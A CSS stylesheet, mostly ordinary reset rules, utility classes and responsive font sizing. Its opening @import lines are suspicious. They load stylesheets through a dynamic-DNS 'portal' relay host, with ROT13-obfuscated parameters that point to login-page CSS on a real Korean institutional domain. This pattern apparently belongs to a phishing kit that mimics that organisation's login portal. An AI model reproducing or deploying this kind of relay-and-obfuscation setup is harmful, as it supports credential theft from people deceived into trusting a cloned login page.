@charset "UTF-8";

/* CSS Document */

@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Synlbhg.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Sznva.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Sfho.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Sybtva.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Ssbag.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Sohggba.pff");
@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sybtvaf.xbfnp.er.xe%2Spff%2Sqvatong_krvpba.pff");

/* reset with normalize */
* {
	word-break:normal;
	box-sizing:border-box;
	-o-box-sizing:border-box;
   -ms-box-sizing:border-box;
   -moz-box-sizing:border-box;
   -webkit-box-sizing:border-box;
   -webkit-text-size-adjust:none;
}

html, body {height:100%; font-size:10px; font-family: 'NotoSans';}
body {
	margin:0;padding:0;
	color:#555;font-weight:400; 
	 line-height:1.5;letter-spacing:-0.100rem;
	background-color:#fff;
	word-break:keep-all;
	overflow-x:hidden;	
}
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,form,fieldset,input,p,button,iframe,th,td,figure,aside {margin:0;padding:0;box-sizing:border-box;}
img,fieldset,iframe,button {border:0 none;}
li {list-style:none;}
input, textarea, select{vertical-align:middle; font-family:inherit; font-size:1.5rem; line-height:1.2em; letter-spacing:-1px; -webkit-border-radius:0; border:0.100rem solid #b5b5b5;}
input:focus{outline:2px dashed #0982f0;}
select:focus{outline:2px dashed #0982f0;}
button:focus{outline:2px dashed #c71628;}
select::-ms-expand {display:none}
a {text-decoration:none; color: inherit;}
table, th, td {border-collapse:collapse;border-spacing:0;}
legend, hr {display:none;}
form {display:inline;}
input[type="text"], input[type="password"], select{-webkit-appearance:none; -moz-appearance:none; -ms-appearance:none; -o-appearance:none; appearance:none;  -webkit-border-radius:0;}
caption{position: absolute;width: 1px;height: 1px;padding: 0;margin: -1px;overflow: hidden;clip: rect(0, 0, 0, 0);border: 0;}
address, em {font-style: normal;}
/* skip navigation */
#skipToContent{position:absolute;width:100%;z-index:10000;}
#skipToContent dt{overflow:hidden;height:0;font-size:0.100rem;}
#skipToContent a{display:block;overflow:hidden;position:absolute;top:-4.000rem;left:0;width:100%;height:4.000rem;background:rgba(0,0,0,.75);font-size:1.300rem;color:#fff;text-align:center;line-height:3.800rem;transition:all 0.2s ease;z-index:10000;}
#skipToContent a:focus{top:0;}

input[type="radio"], input[type="checkbox"] {cursor:pointer;} /* new_추가 */

/* common display */
.hid{overflow:hidden;display:none;visibility:hidden;position:absolute;width:0.100rem;height:0.100rem;font-size:0.100rem;white-space:nowrap;}
.hide{position: absolute;width: 1px;height: 1px;padding: 0;margin: -1px;overflow: hidden;clip: rect(0, 0, 0, 0);border: 0;}
.hdn{visibility:hidden; width:0; height:0; overflow:hidden; font-size:0; text-indent:-500.000rem;}
.skip {position:absolute;width:0.100rem;height:0.100rem;margin:0;padding:0;background:none; font-size:0.300rem; color:transparent; line-height: 0}
.clearfix:after {display:block;visibility:hidden;clear:both;content:".";overflow:hidden;width:0;height:0;font-size:0;line-height:0;}
.clearfix {display: inline-block;}
* html .clearfix {height: 1%;}
.clearfix {display: block;}
.clear {clear:both;}
.block {display: block!important;}
.textCenter {text-align: center !important;}
.textLenter {text-align: left !important;}
.textRenter {text-align: right !important;}
.fl {float: left !important;}
.border_Tnone{border-top: none !important;}
.icon_none:after{display: none !important;}
.icon_none:before{display: none !important;}
.background_none{background: none !important;}
.border_none{border: none !important;}
.f_bold{font-weight: bold;}


/* Tablet Device */
@media all and (max-width:1280px) {

	html, body {
		font-size:9px;
		-webkit-appearance:none;
		-webkit-text-size-adjust:none;
		-webkit-font-smoothing:antialiased;
		-webkit-overflow-scrolling:touch;
	}

}

/* Mobile Device */
@media all and (max-width:768px) {

	html, body {
		font-size:8px;
		-webkit-appearance:none;
		-webkit-text-size-adjust:none;
		-webkit-font-smoothing:antialiased;
		-webkit-overflow-scrolling:touch;
	}

}
